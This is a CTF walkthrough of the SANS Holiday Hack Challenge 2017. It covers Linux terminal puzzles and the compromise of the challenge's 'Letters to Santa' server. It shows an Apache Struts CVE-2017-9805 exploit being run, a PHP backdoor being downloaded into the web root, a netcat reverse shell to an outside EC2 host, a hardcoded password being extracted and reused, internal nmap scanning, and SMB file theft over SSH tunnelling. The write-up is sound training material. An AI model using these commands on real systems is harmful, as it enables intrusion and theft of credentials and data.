I suggest beating the all terminals and finishing all the levels before proceding with hacking the infrastructure since the completion of a level will provide us with specific hints on what we should do.
All right, now that we know all that - let’s get into answering the questions!
The first page is available at the North Pole and Beyond Winter Wonder Landing level. We must direct the snowball over the First Page to obtain it. But first, let’s solve the CranPi Terminal Challenge.
Upon accessing the Terminal we are presented with the following output:
|
\ ' /
-- (*) --
>*<
>0<@<
>>>@<<*
>@>*<0<<<
>*>>@<<<@<<
>@>>0<<<*<<@<
>*>>0<<@<<<@<<<
>@>>*<<@<>*<<0<*<
\*/ >0>>*<<@<>0><<*<@<<
___\\U//___ >*>>@><0<<*>>@><*<0<<
|\\ | | \\| >@>>0<*<0>>@<<0<<<*<@<<
| \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
|\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
|\\_|_|&&_// ||*.*.*.*|_\\db//_
""""|'.'.'.|~~|.*.*.*| ____|_
|'.'.'.| ^^^^^^|____|>>>>>>|
~~~~~~~~ '""""`------'
My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?
Find and run the elftalkd binary to complete this challenge.
elf@46c21c345002:~$
Alright, it seems that we need to start the elftalkd binary - but first we need to find it. It can’t be that hard!
Let’s try running the find command against the binary name to find it.
elf@46c21c345002:~$ find / -name "elftalkd"
bash: /usr/local/bin/find: cannot execute binary file: Exec format error
So we’re out of luck there as the find command seem to be corrupted. At this point what we can do is utilize the ls
and grep
commands to recursively look for the elftalkd binary.
elf@46c21c345002:~$ ls -la -R / | grep elftalkd
ls: cannot open directory '/proc/tty/driver': Permission denied
ls: cannot open directory '/root': Permission denied
-rwxr-xr-x 1 root root 7385168 Dec 4 14:29 elftalkd
ls: cannot open directory '/var/cache/apt/archives/partial': Permission denied
ls: cannot open directory '/var/cache/ldconfig': Permission denied
ls: cannot open directory '/var/lib/apt/lists/partial': Permission denied
So we can’t read proc or root and it seems that we don’t have anything in var, but we do see that the elftalkd binary was successfully found from the root directory. Let’s see if the binary is somewhere in the run directory.
elf@46c21c345002:~$ ls -la -R /run | grep elftalkd
-rwxr-xr-x 1 root root 7385168 Dec 4 14:29 elftalkd
Perfect, we found the directory where the file is stored. Let’s navigate to it and find the binary that we need to run.
elf@46c21c345002:~$ ls -la /run
total 24
drwxr-xr-x 1 root root 4096 Dec 4 14:32 .
drwxr-xr-x 1 root root 4096 Jan 12 01:15 ..
drwxr-xr-x 1 root root 4096 Dec 4 14:32 elftalk
drwxrwxrwt 2 root root 4096 Nov 14 13:48 lock
drwxr-xr-x 2 root root 4096 Nov 14 13:48 mount
drwxr-xr-x 1 root root 4096 Nov 17 21:59 systemd
-rw-rw-r-- 1 root utmp 0 Nov 14 13:48 utmp
elf@46c21c345002:~$ cd /run
elf@46c21c345002:/run$ cd elftalk
elf@46c21c345002:/run/elftalk$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Dec 4 14:32 .
drwxr-xr-x 1 root root 4096 Dec 4 14:32 ..
drwxr-xr-x 1 root root 4096 Dec 4 14:32 bin
elf@46c21c345002:/run/elftalk$ cd bin
elf@46c21c345002:/run/elftalk/bin$ ls -la
total 7224
drwxr-xr-x 1 root root 4096 Dec 4 14:32 .
drwxr-xr-x 1 root root 4096 Dec 4 14:32 ..
-rwxr-xr-x 1 root root 7385168 Dec 4 14:29 elftalkd
From here, just execute the binary and we are done!
elf@46c21c345002:/run/elftalk/bin$ ./elftalkd
Running in interactive mode
--== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...
--== Initialization Complete ==--
_ __ _ _ _ _
| |/ _| | | | | | |
___| | |_| |_ __ _| | | ____| |
/ _ \ | _| __/ _` | | |/ / _` |
| __/ | | | || (_| | | < (_| |
\___|_|_| \__\__,_|_|_|\_\__,_|
-*> elftalkd! <*-
Version 9000.1 (Build 31337)
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC
Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...
Once we complete the CranPI Terminal Challenge, we unlock the “Convery Belt” tool, which can be used to re-direct the snowball across the Great Book Page.
Once you obtain the Great Book Page in the Winter Wonder Landing level, you will be able to see it in your Stocking.
Upon accessing CranPI Terminal in the Winconceivable: The Cliffs of Winsanity level we are presented with the following:
___,@
/ <
,_ / \ _,
? \`/______\`/
,_(_). |; (e e) ;|
\___ \ \/\ 7 /\/ _\8/_
\/\ \'=='/ | /| /|
\ \___)--(_______|//|//|
\___ () _____/|/_|/_|
/ () \ `----'
/ () \
'-.______.-'
jgs _ |_||_| _
(@____) || (____@)
\______||______/
My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.
Help me kill the troublesome process gone awry.
I will return the favor with a gift before nigh.
Kill the "santaslittlehelperd" process to complete this challenge.
elf@f0e40bc3622f:~$
So from the get-go Sparkle is having an issue killing the santaslittlehelperd process. If we take a look at Sparkle’s Twitter we are presented with her issue, and a few hints on what we can use to kill the process.
Alright, with those hints in the back of our mind, let’s run ps -ef
to see what processes are running and what PID is associated to each one of them.
elf@f0e40bc3622f:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
elf 1 0 0 01:24 pts/0 00:00:00 /bin/bash /sbin/init
elf 8 1 0 01:24 pts/0 00:00:00 /usr/bin/santaslittlehelperd
elf 11 1 1 01:24 pts/0 00:00:00 /sbin/kworker
elf 12 1 0 01:24 pts/0 00:00:00 /bin/bash
elf 18 11 4 01:24 pts/0 00:00:00 /sbin/kworker
elf 32 12 0 01:24 pts/0 00:00:00 ps -ef
Okay, great. We can see that the santaslittlehelperd process is currently running with the PID of 8. Let’s try using the kill command along with the PID to attempt to stop the process.
elf@f0e40bc3622f:~$ kill -9 8
elf@f0e40bc3622f:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
elf 1 0 0 01:24 pts/0 00:00:00 /bin/bash /sbin/init
elf 8 1 0 01:24 pts/0 00:00:00 /usr/bin/santaslittlehelperd
elf 11 1 0 01:24 pts/0 00:00:00 /sbin/kworker
elf 12 1 0 01:24 pts/0 00:00:00 /bin/bash
elf 18 11 1 01:24 pts/0 00:00:00 /sbin/kworker
elf 43 12 0 01:24 pts/0 00:00:00 ps -ef
Guess that won’t work.
Looking back at Sparkle’s Tweet, we can see that she mentions something about a malicious alias. So let’s see what aliases we currently have on the terminal.
elf@f0e40bc3622f:~$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias kill='true'
alias killall='true'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pkill='true'
alias skill='true'
Well that would explain why our kill command didn’t work. Kill is set to true
so it’s not going to execute the way it’s intended to. After looking at the Tweet again, I began researching about xarg and how to use it to kill a process.
After some time, I came across the following link: PS-EF w/ XARGS to Kill Process.
After reading that post, I began to execute the commands one by one to see the output. Overall we are just grabbing the PID of the santaslittlehelperd binary, and utilizing xargs to kill it.
elf@f0e40bc3622f:~$ ps -ef | grep santaslittlehelperd
elf 8 1 0 01:24 pts/0 00:00:00 /usr/bin/santaslittlehelperd
elf 66 12 0 01:25 pts/0 00:00:00 grep --color=auto santaslittlehelperd
elf@f0e40bc3622f:~$ ps -ef | grep santaslittlehelperd | grep -v grep
elf 8 1 0 01:24 pts/0 00:00:00 /usr/bin/santaslittlehelperd
elf@f0e40bc3622f:~$ ps -ef | grep santaslittlehelperd | grep -v grep | awk '{print $2}'
8
elf@f0e40bc3622f:~$ ps -ef | grep santaslittlehelperd | grep -v grep | awk '{print $2}' | xargs kill -9
Once that’s done, let’s see if the process is in fact killed…
elf@f0e40bc3622f:~$ ps -ef
UID PID PPID C STIME TTY TIME CMD
elf 1 0 0 01:24 pts/0 00:00:00 /bin/bash /sbin/init
elf 12 1 0 01:24 pts/0 00:00:00 /bin/bash
elf 115 12 0 01:25 pts/0 00:00:00 ps -ef
Perfect! The process has been successfully killed! Upon completing the Terminal Challenge and directing the Snowball to the exit, we are presented with a new tool, and some hints from Sparkle
Upon accessing the Letters to Santa Application, we are presented with the following screen.
Taking a look at the source code of the page, we spot a rather interesting comment about a “Development Version”, along with a link to that site.
Navigating to the website, we are automatically redirected to the order.xhtml page, and can see that it’s a Toy Request Form.
Inspecting the source code for that page, also reveals some very important information… the page is running the Apache Struts Framework!
At this point I remembered that SANS wrote a great post on “Why You Need the Skills to Tinker with Publicly Released Exploit Code” which included the modification of the Apache Struts 2 REST Plugin XStream RCE (CVE-2017-9805) Exploit Code.
Toward the end of the article Chris Davis provides us a link to his recoded exploit for CVE-2017-9805.
After copying over the exploit to my Kali Machine, I ran it via python to see the usage and arguments needed.
Interestingly enough, in the URL parameter we see that the example points to a server with an ending of “orders.xhtml”! Which is the same page we were redirected to when navigating to the dev page.
Let’s see if the script works by trying to execute the whoami
command and piping the output into a file called “test.txt” which we will save in the /var/www/html directory.
root@kali:~# python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "whoami > /var/www/html/test.txt"
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed
We see that the exploit executed without any issues. So from here, let’s navigate to http://l2s.northpolechristmastown.com/test.txt and see if we indeed were able to exploit Apache Struts.
Nice, we are able to execute commands on the server! At this point I wanted to get a PHP Shell onto the server, so I opted to use this Simple Backdoor One Liner found on GitHub.
From here, I executed the following command to download the RAW PHP shell onto the server and saved it as kkb_shell.php.
root@kali:~# python cve-2017-9805.py -u https://dev.northpolechristmastown.com/orders.xhtml -c "wget https://gist.githubusercontent.com/sente/4dbb2b7bdda2647ba80b/raw/31218294e74361df73215b44a219af3b95945618/Simple-Backdoor-One-Liner.php -O /var/www/html/kkb_shell.php"
[+] Encoding Command
[+] Building XML object
[+] Placing command in XML object
[+] Converting Back to String
[+] Making Post Request with our payload
[+] Payload executed
Okay, so the command executed successfully. Let’s test the PHP shell by trying to execute the ls -la
command to list all the files in the current working directory.
Perfect! So we can execute commands via the PHP shell. At this point, we see that the second page of the Great Book is located in the web directory.
Simply navigating to http://l2s.northpolechristmastown.com/GreatBookPage2.pdf will allow us to see and download Page 2.
Now that we got the 2nd page of the Great Book, we have to find Alabaster Snowballs password.
Jeff McJunkin wrote a good post for SANS about Putting My Zero Cents In: Using the Free Tier on Amazon Web Services (EC2).
The post goes through the process of setting up a Free Amazon EC2 Instance in AWS, which will seriously help you during pentests like this by providing you a public IP.
After reading the post I opted to create an EC2 instance and utilized my PHP Shell to create a Reverse Shell back to my EC2 instance.
After running the command, we get a successful reverse shell back to our EC2 instance.
ubuntu@ip-172-31-24-12:~$ sudo nc -nlvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [35.190.140.65] port 80 [tcp/*] accepted (family 2, sport 59800)
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
Now that we have shell access to the server, let’s spawn up an Interactive TTY Shell by using Python.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@hhc17-apache-struts2:~/html$
Knowing that we need to find Alabaster Snowballs password, I utilized the find
command to look for anything that matched “struts.xml” hoping that something might be hard-coded in the Apache Struts directory.
www-data@hhc17-apache-struts2:~/html$ find / -name "struts.xml" 2>/dev/null
find / -name "struts.xml" 2>/dev/null
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
/opt/apache-tomcat/webapps/ROOT/WEB-INF/src/java/struts.xml
Perfect, we now know where Apache Struts is located. Let’s go ahead and look for any files in the /opt/apache-tomcat/ directory that contain the name “alabaster” in them.
www-data@hhc17-apache-struts2:~/html$ grep -rnw '/opt/apache-tomcat/' -e 'alabaster' 2>/dev/null
/opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class:3: final String username = "alabaster_snowball";
So it seems that we found alabaster’s username in a file called OrderMySql.class. Let’s see if there is a password in here as well.
www-data@hhc17-apache-struts2:~/html$ cat /opt/apache-tomcat/webapps/ROOT/WEB-INF/classes/org/demo/rest/example/OrderMySql.class
<-INF/classes/org/demo/rest/example/OrderMySql.class
public class Connect {
final String host = "localhost";
final String username = "alabaster_snowball";
final String password = "stream_unhappy_buy_loss";
String connectionURL = "jdbc:mysql://" + host + ":3306/db?user=;password=";
Connection connection = null;
Statement statement = null;
Awesome, so we found the password stream_unhappy_buy_loss
. Sparkle said something about password reuse in her hints, so let’s try to SSH into the Letters to Santa system by using Alabaster’s username and the found password.
root@kali:~/HH# ssh alabaster_snowball@35.190.140.65
alabaster_snowball@35.190.140.65's password:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.mUMEH44K1qfu6InxlP2pXWdK$
Great - we found Alabaster’s password, and were able to answer all the questions for #2.
Upon accessing the CranPI Terminal we are presented with the following:
___
/ __'. .-"""-.
.-""-| | '.'. / .---. \
/ .--. \ \___\ \/ /____| |
/ / \ `-.-;-(`_)_____.-'._
; ; `.-" "-:_,(o:==..`-. '. .-"-,
| | / \ / `\ `. \ / .-. \
\ \ | Y __...\ \ \ / / \/
/\ | | | .--""--.| .-' \ '.`---' /
\ \ / / |` \' _...--.; '---'`
\ '-' / jgs /_..---.._ \ .'\\_ `.
`--'` .' (_) `'/ (_) /
`._ _.'| .'
``````` '-...--'`
My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.
Run the CandyCaneStriper executable to complete this challenge.
elf@ada271f92830:~$
Alright, so for this challenge we need to start the Candy Cane Stripper program which appears to be broken.
First of all, let’s find the program and see what permissions are assigned to it.
elf@ada271f92830:~$ ls -la
total 68
drwxr-xr-x 1 elf elf 4096 Dec 15 20:00 .
drwxr-xr-x 1 root root 4096 Dec 5 19:31 ..
-rw-r--r-- 1 elf elf 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 root root 3143 Dec 15 19:59 .bashrc
-rw-r--r-- 1 elf elf 655 May 16 2017 .profile
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
So the CandyCaneStripper binary is what we need to run, and it seems we only have read permissions. We can try running chmod against the binary, and assign executable permission… but I doubt that will work.
elf@ada271f92830:~$ chmod +x CandyCaneStriper
elf@ada271f92830:~$ ls -la
total 68
drwxr-xr-x 1 elf elf 4096 Dec 15 20:00 .
drwxr-xr-x 1 root root 4096 Dec 5 19:31 ..
-rw-r--r-- 1 elf elf 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 root root 3143 Dec 15 19:59 .bashrc
-rw-r--r-- 1 elf elf 655 May 16 2017 .profile
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
Yah I was right, it’s not going to be that easy.
Looking at Holly’s Twitter, we see a tweet about how chmod was removed from her system, which would explain why we weren’t able to assign the executable bit to the binary.
At the end of the tweet we see a link on how to execute a Linux binary without the execute permission bit being set.
The post states that we can use /lib/ld* as an ELF interpreter to execute binary files.
So before we try to do that, let’s copy over the CandyCaneStripper binary to the /tmp folder.
elf@ada271f92830:~$ cp CandyCaneStriper /tmp/
elf@ada271f92830:~$ cd /tmp
elf@ada271f92830:/tmp$ ls -la
total 56
drwxrwxrwt 1 root root 4096 Jan 12 01:19 .
drwxr-xr-x 1 root root 4096 Jan 12 01:18 ..
-rw-r--r-- 1 elf elf 45224 Jan 12 01:19 CandyCaneStriper
Once that’s done, let’s utilize ld-2.23.so from the /lib directory to execute our binary.
elf@ada271f92830:/tmp$ /lib/x86_64-linux-gnu/ld-2.23.so /tmp/CandyCaneStriper
_..._
.'\\ //`,
/\\.'``'.=",
/ \/ ;==|
/\\/ .'\`,`
/ \/ `""`
/\\/
/\\/
/\ /
/\\/
/`\/
\\/
`
The candy cane striping machine is up and running!
Awesome, we were able to successfully execute our binary file, and competed the terminal challenge! After that, go ahead and redirect the snowball to the exit to unlock extra hints for future challenges.
For this challenge, we need to identify and enumerate a SMB file-sharing server on the internal network.
Holly actually provides us a very good hint on detecting certain ports via Nmap, which we can utilize for identifying our SMB-Server.
First of all, we need to find out the Internal IP range for the Christmas Town Infrastructure.
If you still have a reverse shell, or a PHP shell on the Letters to Santa server, run ifconfig to find the current internal IP.
www-data@hhc17-apache-struts2:~/html$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1460
inet 10.142.0.11 netmask 255.255.255.255 broadcast 10.142.0.11
ether 42:01:0a:8e:00:0b txqueuelen 1000 (Ethernet)
RX packets 13641321 bytes 4028153487 (3.7 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 23636718 bytes 8818057385 (8.2 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Now that we know the internal IP address of the server, we can assume that the internal subnet would be 10.142.0.0/24. So let’s go ahead and scan that IP range with Nmap while utilizing the -PS
command to scan for TCP/445 - or SMB.
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.mUMEH44K1qfu6InxlP2pXWdK$ nmap -sV -PS445 10.142.0.0/24
Starting Nmap 7.40 ( https://nmap.org ) at 2017-12-28 22:37 UTC
Nmap scan report for hhc17-l2s-proxy.c.holidayhack2017.internal (10.142.0.2)
Host is up (0.00013s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http nginx 1.10.3
443/tcp open ssl/http nginx 1.10.3
2222/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for hhc17-apache-struts1.c.holidayhack2017.internal (10.142.0.3)
Host is up (0.000095s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http nginx 1.10.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00016s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.10.3 (Ubuntu)
143/tcp open imap Dovecot imapd
2525/tcp open smtp Postfix smtpd
3000/tcp open http Node.js Express framework
Service Info: Host: mail.northpolechristmastown.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for edb.northpolechristmastown.com (10.142.0.6)
Host is up (0.00015s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http nginx 1.10.3
389/tcp open ldap
8080/tcp open http Werkzeug httpd 0.12.2 (Python 2.7.13)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port389-TCP:V=7.40%I=7%D=12/28%Time=5A457237%P=x86_64-pc-linux-gnu%r(LD
SF:APSearchReq,83,"0s\x02\x01\x07dn\x04\x000j0\x1b\x04\x14supportedLDAPVer
SF:sion1\x03\x04\x0130\x1a\x04\x0enamingContexts1\x08\x04\x06dc=com0/\x04\
SF:x12supportedExtension1\x19\x04\x171\.3\.6\.1\.4\.1\.4203\.1\.11\.10\x0c
SF:\x02\x01\x07e\x07\n\x01\0\x04\0\x04\0")%r(LDAPBindReq,25,"0#\x02\x01\x0
SF:1a\x1e\n\x01\x02\x04\0\x04\x17Version\x202\x20not\x20supported");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.0038s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Nmap scan report for hhc17-emi.c.holidayhack2017.internal (10.142.0.8)
Host is up (0.00013s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Nmap scan report for hhc17-apache-struts2.c.holidayhack2017.internal (10.142.0.11)
Host is up (0.00017s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http nginx 1.10.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.0041s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
3389/tcp open ssl/ms-wbt-server?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (7 hosts up) scanned in 88.63 seconds
After the Nmap scan has completed, we can see that the IP of 10.142.0.7 is a Windows 2008 R2 - 2012 Server running SMB on TCP/445.
Nmap scan report for hhc17-smb-server.c.holidayhack2017.internal (10.142.0.7)
Host is up (0.0038s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Great, now that we know where the SMB Server is, we will have to enumerate it and see what shares are open.
To do so, we will have to do some port forwarding via SSH which will allow us to directly access the SMB Server from our Kali Machine.
Holly actually provides us a good hint on SSH Port Forwarding.
Alright, so let’s go ahead and forward TCP/445 to the SMB Server via the following command.
root@kali:~/HH# ssh -L 445:10.142.0.7:445 alabaster_snowball@35.190.140.65
alabaster_snowball@35.190.140.65's password:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.Tkb7IbWTBHKIajNrcEe9uzJr$
Once that’s done, let’s verify if we indeed have a valid tunnel via SMB by running an Nmap scan against our localhost and TCP/445.
root@kali:~# nmap -sV -p 445 localhost
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-28 16:57 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000058s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OS: Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.86 seconds
The SSH tunnel works, and we have successfully forwarded our SMB port to the Internal Christmas Town SMB file-share server.
From here, we can run smbclient
against our localhost while utilizing Alabaster’s username and password to list all the share’s on the server.
root@kali:~# smbclient -L localhost -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
FileStor Disk
IPC$ IPC Remote IPC
Connection to localhost failed (Error NT_STATUS_CONNECTION_REFUSED)
NetBIOS over TCP disabled -- no workgroup available
The FileStor share looks interesting, let’s connect to it and see what’s inside.
root@kali:~# smbclient \\\\localhost\\FileStor -U alabaster_snowball
WARNING: The "syslog" option is deprecated
Enter alabaster_snowball's password:
Domain=[HHC17-EMI] OS=[Windows Server 2016 Datacenter 14393] Server=[Windows Server 2016 Datacenter 6.3]
smb: \> ls
. D 0 Thu Dec 28 00:35:38 2017
.. D 0 Thu Dec 28 00:35:38 2017
BOLO - Munchkin Mole Report.docx A 255520 Wed Dec 6 15:44:17 2017
GreatBookPage3.pdf A 1275756 Mon Dec 4 13:21:44 2017
MEMO - Password Policy Reminder.docx A 133295 Wed Dec 6 15:47:28 2017
Naughty and Nice List.csv A 10245 Thu Nov 30 13:42:00 2017
Naughty and Nice List.docx A 60344 Wed Dec 6 15:51:25 2017
13106687 blocks of size 4096. 9623619 blocks available
smb: \>
Awesome, we found the 3rd Page of the Great Book! We can simply run the get
command to download the file to our Kali machine.
I also see that there are more files on the share. So let’s go ahead and download them all, just in case we need them later.
mb: \> get "BOLO - Munchkin Mole Report.docx"
getting file \BOLO - Munchkin Mole Report.docx of size 255520 as BOLO - Munchkin Mole Report.docx (725.4 KiloBytes/sec) (average 1790.9 KiloBytes/sec)
smb: \> get "MEMO - Password Policy Reminder.docx"
getting file \MEMO - Password Policy Reminder.docx of size 133295 as MEMO - Password Policy Reminder.docx (189.8 KiloBytes/sec) (average 1068.7 KiloBytes/sec)
smb: \> get "Naughty and Nice List.csv"
getting file \Naughty and Nice List.csv of size 10245 as Naughty and Nice List.csv (57.8 KiloBytes/sec) (average 965.5 KiloBytes/sec)
smb: \> get "Naughty and Nice List.docx"
getting file \Naughty and Nice List.docx of size 60344 as Naughty and Nice List.docx (193.2 KiloBytes/sec) (average 847.7 KiloBytes/sec)
Upon accessing the CranPI Terminal, we are presented with the following:
.-"""".._'. _,##
_..__ |.-"""-.| | _,##'`-._
(_____)||_____|| |_,##'`-._,##'`
_| |.;-""-. | |#'`-._,##'`
_.;_ `--' `\ \ |.'`\._,##'`
/.-.\ `\ |.-";.`_, |##'`
|\__/ | _..;__ |'-' /
'.____.'_.-`)\--' /'-'`
//||\\(_.-'_,'-'`
(`-...-')_,##'`
jgs _,##`-..,-;##`
_,##'`-._,##'`
_,##'`-._,##'`
`-._,##'`
My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.
total 444
-rwxr-xr-x 1 root root 454636 Dec 7 18:43 trainstartup
elf@cc84e306095a:~$
From the gist of it, we need to run the trainstartup binary. Let’s list our current working directory to see if we can’t find the binary.
elf@cc84e306095a:~$ ls -la
total 464
drwxr-xr-x 1 elf elf 4096 Dec 7 18:43 .
drwxr-xr-x 1 root root 4096 Dec 6 20:01 ..
-rw-r--r-- 1 elf elf 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 root root 3884 Dec 4 14:28 .bashrc
-rw-r--r-- 1 elf elf 675 Apr 9 2014 .profile
-rwxr-xr-x 1 root root 454636 Dec 7 18:43 trainstartup
Okay, so the trainstartup binary is in our home directory, let’s see what happens when we try to execute it.
elf@cc84e306095a:~$ ./trainstartup
bash: ./trainstartup: cannot execute binary file: Exec format error
Hmmm… Interesting. Looking at the error, we see that there is a format error while trying to execute the binary. Let’s check what kind of executable this is.
elf@cc84e306095a:~$ file trainstartup
trainstartup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped
Okay, no wonder we can’t execute the file - it’s in ARM format!
If we actually look at Holly’s Twitter account, we can see a tweet that mentions using qemu.
After doing some research via Google, I came across the following post in Stack Overflow on how qemu-arm can’t run arm compiled binary’s.
After reading the post, we learn that we can execute the binary with qemu by utilizing the following command.
elf@cc84e306095a:~$ qemu-arm trainstartup
Starting up ...
Merry Christmas
Merry Christmas
v
>*<
^
/o\
/ \ @.·
/~~ \ .
/ ° ~~ \ · .
/ ~~ \ ◆ ·
/ ° ~~\ · 0
/~~ \ .─··─ · o
/° ~~ .*· · . \ ├──┼──┤
│ ──┬─°─┬─°─°─°─ └──┴──┘
≠==≠==≠==≠==──┼──=≠ ≠=≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠===≠
│ /└───┘\┌───┐ ┌┐
└───┘ /▒▒▒▒
≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠=°≠=°≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠
You did it! Thank you!
Once you complete the challenge you will unlock a new tool that will help you navigate the snowball toward the end of the level. Once you get the snowball to the end, you will unlock more hints for future challenges.
For this portion we know that the Elf Web Access (EWA) is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com.
What we need to do is find the next Great Book page, which is located somewhere on the mail server.
If we look back to our internal Nmap scan, we will notice that 10.142.0.5 hosts the EWA Server.
Nmap scan report for mail.northpolechristmastown.com (10.142.0.5)
Host is up (0.00016s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
